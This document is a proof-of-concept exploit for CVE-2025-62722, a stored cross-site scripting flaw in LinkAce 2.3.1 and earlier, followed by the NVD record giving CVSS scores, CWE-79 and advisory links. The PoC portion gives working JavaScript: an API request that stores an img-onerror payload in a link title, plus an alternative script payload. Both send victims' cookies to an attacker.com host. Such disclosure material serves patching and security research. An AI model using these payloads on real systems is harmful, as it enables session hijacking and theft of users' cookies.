CVE-2025-62722

// CVE-2025-62722 PoC - LinkAce Stored XSS // Affected Version: LinkAce <= 2.3.1 // Fixed Version: LinkAce 2.4.0 // Step 1: Create a malicious link with XSS payload in title const maliciousTitle = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; const linkData = { url: 'https://legitimate-site.com', title: maliciousTitle, description: 'Benign description' }; // Step 2: Send POST request to create link (requires authentication) fetch('/api/v1/links', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <authenticated_user_token>' }, body: JSON.stringify(linkData) }); // Step 3: When victim views the link and share buttons are rendered, // the XSS payload executes in victim's browser // The onerror handler sends victim's cookies to attacker // Alternative payload for session hijacking: const sessionHijackPayload = '<script>fetch("https://attacker.com/log?data="+btoa(document.cookie))</script>';

{"cve": {"id": "CVE-2025-62722", "sourceIdentifier": "[email protected]", "published": "2025-11-04T23:15:44.020", "lastModified": "2025-11-25T18:45:24.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. In versions 2.3.1 and below, the social media sharing functionality contains a Stored Cross-Site Scripting (XSS) vulnerability that allows any authenticated user to inject arbitrary JavaScript by creating a link with malicious HTML in the title field. When a user views the link details page and the shareable links are rendered, the malicious JavaScript executes in their browser. This vulnerability affects multiple sharing services and can be exploited to steal session cookies, perform actions on behalf of users, or deliver malware. This issue is fixed in version 2.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.0", "matchCriteriaId": "68ED0A13-FFAB-4927-A526-E51A4CA1B2BC"}]}]}], "references": [{"url": "https://github.com/Kovah/LinkAce/commit/95d29b71ad9d4750cff8bbe7488802f6a4afa6aa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Kovah/LinkAce/releases/tag/v2.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-4mxh-7c7f-q79j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-4mxh-7c7f-q79j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}